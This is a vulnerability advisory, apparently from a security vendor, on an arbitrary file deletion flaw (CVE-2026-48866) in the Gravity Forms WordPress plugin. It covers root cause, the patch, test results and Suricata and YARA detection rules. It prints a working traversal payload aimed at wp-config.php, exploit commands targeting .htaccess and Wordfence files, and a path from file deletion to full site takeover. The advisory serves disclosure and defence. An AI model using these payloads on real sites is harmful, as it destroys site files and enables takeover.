1. Overview

A path traversal vulnerability exists in the Gravity Forms WordPress plugin’s file deletion mechanism. When processing entries that contain file upload fields, the plugin converts stored file URLs to filesystem paths using a simple string replacement without validating that the resulting path remains within the uploads directory. An unauthenticated attacker can submit a form with a crafted gform_uploaded_files parameter containing directory traversal sequences (../), which are stored in the entry database. When a privileged user subsequently deletes the entry or its attached files, the traversal sequences cause the plugin to delete arbitrary files on the server. Deleting critical files such as wp-config.php results in complete site unavailability. Rocketgenius addressed this vulnerability in Gravity Forms version 2.10.1.

2. Vulnerability Type

FieldValue
Primary CWECWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
Related CWECWE-73: External Control of File Name or Path

3. Severity

CVSS 3.1 (from Patchstack / NVD)

FieldValue
Score9.6 (Critical)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Our Assessment (CVSS 4.0)

Metric GroupMetricValue
Base — ExploitabilityAttack Vector (AV)Network
Attack Complexity (AC)Low
Attack Requirements (AT)Present
Privileges Required (PR)None
User Interaction (UI)Passive
Base — Vulnerable SystemConfidentiality (VC)None
Integrity (VI)High
Availability (VA)High
Base — Subsequent SystemConfidentiality (SC)None
Integrity (SI)Low
Availability (SA)High
ThreatExploit Maturity (E)Proof-of-Concept
FieldValue
CVSS 4.0 Score8.5 (High)
CVSS 4.0 VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:L/SA:H/E:P

Scoring rationale:

  • AT:P (Attack Requirements Present): The target WordPress site must have a publicly accessible form with a file upload field (multi-file or single-file with dynamic population support). This is a common but not universal configuration.
  • UI:P (User Interaction Passive): A privileged user must delete the poisoned entry. This can occur through routine entry management or social engineering (e.g., sending an admin a link that triggers entry deletion via CSRF in older versions).
  • VI:H / VA:H: Arbitrary file deletion destroys file integrity and can render the entire site unavailable.
  • SA:H (Subsequent System Availability): Deleting wp-config.php causes total site failure; deleting .htaccess or plugin files degrades or disables other WordPress components and services.

4. Affected Products

Affected Versions

ProductVersions AffectedCPE 2.3
Gravity Forms (WordPress Plugin)<= 2.10.0.1cpe:2.3:a:rocketgenius:gravityforms:*:*:*:*:*:wordpress:*:*

Tested Environment (Vulnerable)

FieldValue
PluginGravity Forms
Version2.10.0
Sourcehttps://github.com/codewurker/gravityforms tag v2.10.0
Git Commit86bf7b9ecf14fd4a826a741a1ae180040589ebed

Tested Environment (Patched)

FieldValue
PluginGravity Forms
Version2.10.1
Sourcehttps://github.com/codewurker/gravityforms tag v2.10.1
Git Commitcf2ff65133d581cfed1c308adc1621c3af1f8422

5. Root Cause Analysis

5a. Detailed Description

The vulnerability resides in the interaction between how file URLs are stored during form submission and how they are converted to filesystem paths during file deletion.

URL Storage (No Path Validation)

When a Gravity Forms form with a file upload field is submitted, the hidden gform_uploaded_files POST parameter is processed by GFFormsModel::set_uploaded_files() in forms_model.php. This function accepts a JSON-encoded array of file descriptors per input field. Each descriptor may contain a url key (used for dynamically populated file URLs). The URL is sanitized only with WordPress’s esc_url_raw(), which validates URL format but does not strip path traversal sequences:

// forms_model.php — set_uploaded_files()
if ( isset( $file['url'] ) ) {
    $file['url'] = esc_url_raw( $file['url'] );  // Does NOT strip ../
}

The URL is then stored in the entry by get_multifile_value() in class-gf-field-fileupload.php:

// class-gf-field-fileupload.php — get_multifile_value()
if ( isset( $file['url'] ) ) {
    if ( ! is_string( $existing_file ) && GFCommon::is_valid_url( $file['url'] ) ) {
        $uploaded_files[] = $file['url'];  // Path traversal preserved
    }
    continue;
}

GFCommon::is_valid_url() performs RFC URL format validation only — a URL containing /../ is a structurally valid URL. The same issue exists in the single-file upload path in get_single_file_value():

// class-gf-field-fileupload.php — get_single_file_value()
} elseif ( ! empty( $files['existing'][0]['url'] ) ) {
    if ( GFCommon::is_valid_url( $files['existing'][0]['url'] ) ) {
        $value = $files['existing'][0]['url'];  // Stored directly
    }
}

URL-to-Path Conversion (Traversal Preserved)

When an entry is deleted, delete_physical_file() in forms_model.php converts the stored URL to a filesystem path using get_physical_file_path():

// forms_model.php — get_physical_file_path()
public static function get_physical_file_path( $url, $entry_id = null ) {
    $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
    $file_path = str_replace(
        trailingslashit( $path_info['url'] ),   // https://example.com/wp-content/uploads/gravity_forms/
        trailingslashit( $path_info['path'] ),   // /var/www/html/wp-content/uploads/gravity_forms/
        $url                                      // https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php
    );
    return $file_path;
    // Returns: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
    // OS resolves to: /var/www/html/wp-config.php
}

The str_replace() replaces the URL base with the filesystem base, but the ../../../ suffix is preserved. The operating system resolves the .. components when file_exists() and unlink() are called.

Unvalidated Deletion

delete_physical_file() then deletes the file without checking whether the resolved path is within the uploads directory:

// forms_model.php — delete_physical_file()
private static function delete_physical_file( $file_url, $entry_id ) {
    $ary = explode( '|:|', $file_url );
    $url = rgar( $ary, 0 );
    if ( empty( $url ) ) { return; }

    $file_path = self::get_physical_file_path( $url, $entry_id );
    $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url );

    // NO VALIDATION that $file_path is within uploads directory

    if ( file_exists( $file_path ) ) {
        $result = unlink( $file_path );  // ARBITRARY FILE DELETION
    }
}

Attack Flow Summary:

  1. Attacker visits a page with a Gravity Forms form containing a file upload field (unauthenticated)
  2. Attacker submits the form with a crafted gform_uploaded_files JSON parameter:
    {"input_1": [{"url": "https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php", "id": "poc"}]}
    
  3. The URL passes esc_url_raw() and is_valid_url() checks and is stored in the entry
  4. When an administrator deletes the entry (routine cleanup, bulk delete, or social engineering), delete_physical_file() converts the URL to a path and calls unlink()
  5. The OS resolves ../../../wp-config.php relative to the uploads directory, deleting wp-config.php

5b. Code Flow and Call Stack

Injection path (unauthenticated form submission via AJAX):

wp_ajax_nopriv_gform_submit_form                        [WordPress AJAX handler]
  └─> GF_Ajax_Handler::submit_form()                    [includes/ajax/class-gf-ajax-handler.php]
      └─> GFAPI::submit_form()                          [includes/api.php]
          └─> GFFormDisplay::process_form()              [form_display.php]
              └─> GFFormsModel::set_uploaded_files()     [forms_model.php:8574]
              │     └─> esc_url_raw( $file['url'] )      [forms_model.php:8606 — no ../ stripping]
              └─> GFFormsModel::save_lead()
                  └─> GF_Field_FileUpload::get_value_save_entry()
                      └─> get_multifile_value()          [class-gf-field-fileupload.php:846]
                          └─> is_valid_url($file['url']) [class-gf-field-fileupload.php:881 — format-only]
                          └─> $uploaded_files[] = $file['url']  [STORED WITH ../ INTACT]

Deletion path (authenticated admin deletes entry):

GFFormsModel::delete_lead()                             [forms_model.php]
  └─> GFFormsModel::delete_files( $entry_id )           [forms_model.php:2312]
      └─> delete_physical_file( $file_url, $entry_id )  [forms_model.php:2490]
          └─> get_physical_file_path( $url )             [forms_model.php:2537]
          │     └─> str_replace(url_base, path_base, $url)  [../ PRESERVED]
          └─> file_exists( $file_path )                  [OS resolves ../]
          └─> unlink( $file_path )                       [ARBITRARY FILE DELETED]

5c. Fix (Patched Version — 2.10.1)

The patch adds two new methods to GFCommon in common.php and a validation check before unlink():

New function: get_absolute_path() (common.php)

Resolves . and .. path components by splitting the path on directory separators and processing each segment:

public static function get_absolute_path( $path ) {
    $path      = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
    $path      = str_replace( '://', '|%%protocol%%|', $path );
    $parts     = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
    $absolutes = array();

    foreach ( $parts as $part ) {
        if ( '.' == $part ) { continue; }
        if ( '..' == $part ) {
            array_pop( $absolutes );
        } else {
            $absolutes[] = $part;
        }
    }

    $path = implode( DIRECTORY_SEPARATOR, $absolutes );
    return str_replace( '|%%protocol%%|', '://', $path );
}

New function: is_file_in_uploads() (common.php)

Checks that the canonicalized path starts with the uploads directory URL:

public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar( GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url' );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

Validation added in delete_physical_file() (forms_model.php)

if ( ! GFCommon::is_file_in_uploads( $url ) ) {
    GFCommon::log_debug( __METHOD__ . sprintf( '(): Not deleting file from URL: %s', $file_path ) );
    return;
}
Vulnerable (2.10.0)Patched (2.10.1)
delete_physical_file() converts URL to path and calls unlink() with no directory validationis_file_in_uploads() resolves ../ sequences and verifies the canonical URL starts with the uploads root before allowing deletion
esc_url_raw() on input URL — no path component validationSame input sanitization, but deletion is blocked at the output side
is_valid_url() checks URL format onlyNo change to input validation; defense is at the deletion point

5d. Impact

Successful exploitation allows an unauthenticated attacker to delete any file on the server that the web server process has write permission to. The most impactful target is wp-config.php, whose deletion immediately causes “Error establishing a database connection” for all visitors, effectively taking the site offline. Other high-value targets include .htaccess (disabling URL rewriting and security rules), plugin files (disabling security plugins like Wordfence), and index.php files (enabling directory listing).

Beyond denial of service, arbitrary file deletion can escalate to remote code execution. After deleting wp-config.php, an attacker who visits the site is presented with the WordPress installation wizard, which allows them to configure a new database connection. If the attacker controls a reachable MySQL server, they can complete the installation with their own credentials and gain full admin access. This effectively converts the file deletion into a complete site takeover. The attack requires no authentication for the injection phase (any form visitor can submit), though it requires a privileged user to trigger the deletion — typically through routine entry management or a crafted link.

6. Proof-of-Concept

6a. PoC Code

Download poc_cve_2026_48866.py (enterprise email verification required)

FileDescription
poc_cve_2026_48866.pyPython 3 exploit — injects path traversal payload via form submission, optionally triggers deletion with admin credentials

6b. Reproduce Instructions

Prerequisites:

  • WordPress installation with Gravity Forms <= 2.10.0.1
  • A form with a file upload field (field ID known) accessible to unauthenticated users
  • Python 3 with requests library (pip install requests)

Phase 1 — Inject malicious entry (unauthenticated):

python3 poc_cve_2026_48866.py --target https://example.com --form-id 1 --field-id 3

This submits the form with a gform_uploaded_files parameter containing:

{"input_3": [{"url": "https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php", "id": "poc-file-1", "uploaded_filename": "legitimate.txt"}]}

The malicious URL is stored in the entry database.

Phase 2 — Trigger deletion (requires admin credentials or social engineering):

Option A — automated with admin credentials:

python3 poc_cve_2026_48866.py --target https://example.com --form-id 1 --field-id 3 \
    --trigger --admin-user admin --admin-pass password

Option B — manual: Log in as admin, navigate to Forms > Entries, select the poisoned entry, and delete it. The file deletion occurs during GFFormsModel::delete_files().

Expected result: After entry deletion, the targeted file (wp-config.php by default) is removed from the server. The site returns “Error establishing a database connection” on all pages.

Additional targets:

# Delete .htaccess
python3 poc_cve_2026_48866.py -t https://example.com -f 1 -i 3 --file .htaccess --depth 3

# Delete a plugin's main file
python3 poc_cve_2026_48866.py -t https://example.com -f 1 -i 3 --file wp-content/plugins/wordfence/wordfence.php --depth 1

The --depth flag controls the number of ../ traversals (default 3: escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root).

6c. Test Results

Verified on podman-hosted WordPress 6.7 + PHP 8.2 with Gravity Forms 2.10.0.

Test 1 — canary.txt deletion:

StepActionResult
1Create entry via GFAPI with URL http://target/wp-content/uploads/gravity_forms/../../../canary.txtEntry created, malicious URL stored in entry field
2Verify file_exists() on traversed pathReturns true — OS resolves ../../../canary.txt to /var/www/html/canary.txt
3Delete entry via GFAPI::delete_entry()delete_physical_file() -> unlink() called on resolved path
4Check canary.txtDELETEDfile_exists() returns false

Test 2 — wp-config.php deletion (full impact):

StepActionResult
1Create entry with URL targeting ../../../wp-config.phpEntry created
2Delete entryunlink() deletes /var/www/html/wp-config.php
3Access site homepage via HTTPHTTP 302 -> /wp-admin/setup-config.php — WordPress installer shown
4Site functionalityComplete site failure — all pages redirect to installer

6d. Patched System Verification

Verified on same environment with Gravity Forms 2.10.1.

On Gravity Forms 2.10.1, the same injection succeeds (the malicious URL is still stored in the entry). However, when the entry is deleted, the new is_file_in_uploads() check detects the path traversal:

StepActionResult
1Create entry with same path traversal URLEntry created (identical to vulnerable test)
2Delete entryis_file_in_uploads() resolves ../ -> canonical path outside uploads root -> returns false
3Check canary.txtSTILL EXISTSunlink() was never called
4Check wp-config.phpSTILL EXISTS — site operates normally

The fix works as designed:

  1. get_absolute_path() resolves http://target/wp-content/uploads/gravity_forms/../../../canary.txt -> http://target/canary.txt
  2. str_starts_with() compares against http://target/wp-content/uploads/gravity_forms/ — mismatch
  3. is_file_in_uploads() returns false
  4. delete_physical_file() returns without calling unlink()

7. Detection

Note: The detection rules below are provided as a starting point. Validate and tune them in your own environment before deploying to production.

7a. Network-Based Detection

The attack payload is embedded in the gform_uploaded_files POST parameter sent during form submission. The distinctive characteristic is the presence of path traversal sequences (../ or ..%2F) within a JSON value in the POST body, combined with a Gravity Forms form submission action (gform_submit_form or is_submit_).

Legitimate gform_uploaded_files values contain only clean filenames and temp identifiers (e.g., {"input_1": [{"uploaded_filename": "photo.jpg", "temp_filename": "abc123_input_1_xyz.jpg"}]}). The presence of ../ or URL-encoded equivalents within this parameter is never legitimate.

Suricata Rules

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"../"; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048866; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"%2e%2e"; nocase; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048867; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"|22|url|22|"; distance:0; \
  content:".."; distance:0; within:200; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048868; rev:1;)

7b. Host-Based Detection (YARA)

rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 Gravity Forms path traversal payload in HTTP POST data or logs"
        cve = "CVE-2026-48866"
        component = "Gravity Forms"
        severity = "critical"
        type = "exploit_detection"

    strings:
        $gform_param = "gform_uploaded_files" ascii wide
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $traversal4 = "..%2f" ascii wide nocase
        $url_key = "\"url\"" ascii wide

    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms versions (<= 2.10.0.1) — forms_model.php lacks is_file_in_uploads check"
        cve = "CVE-2026-48866"
        component = "Gravity Forms"
        severity = "high"
        type = "vulnerability"

    strings:
        $plugin_id = "gravityforms" ascii
        $vuln_func = "delete_physical_file" ascii
        $fix_func = "is_file_in_uploads" ascii

    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Detects patched Gravity Forms (>= 2.10.1) with is_file_in_uploads validation"
        cve = "CVE-2026-48866"
        component = "Gravity Forms"
        severity = "informational"
        type = "patch_verification"

    strings:
        $plugin_id = "gravityforms" ascii
        $fix_func = "is_file_in_uploads" ascii
        $fix_helper = "get_absolute_path" ascii

    condition:
        $plugin_id and $fix_func and $fix_helper
}

Usage:

yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
RuleMatch Means
CVE_2026_48866_Exploit_PayloadHTTP log or POST body contains path traversal in gform_uploaded_files parameter
CVE_2026_48866_Vulnerable_PluginGravity Forms installation lacks the is_file_in_uploads() fix
CVE_2026_48866_Patched_PluginGravity Forms installation has both is_file_in_uploads() and get_absolute_path()

8. References

SourceURL
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-48866
Patchstack Advisoryhttps://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability
MITRE CVEhttps://www.cve.org/CVERecord?id=CVE-2026-48866
Gravity Forms Changeloghttps://docs.gravityforms.com/gravityforms-change-log/
Source Code (Mirror)https://github.com/codewurker/gravityforms
Vulnerable Version (v2.10.0)https://github.com/codewurker/gravityforms/releases/tag/v2.10.0
Patched Version (v2.10.1)https://github.com/codewurker/gravityforms/releases/tag/v2.10.1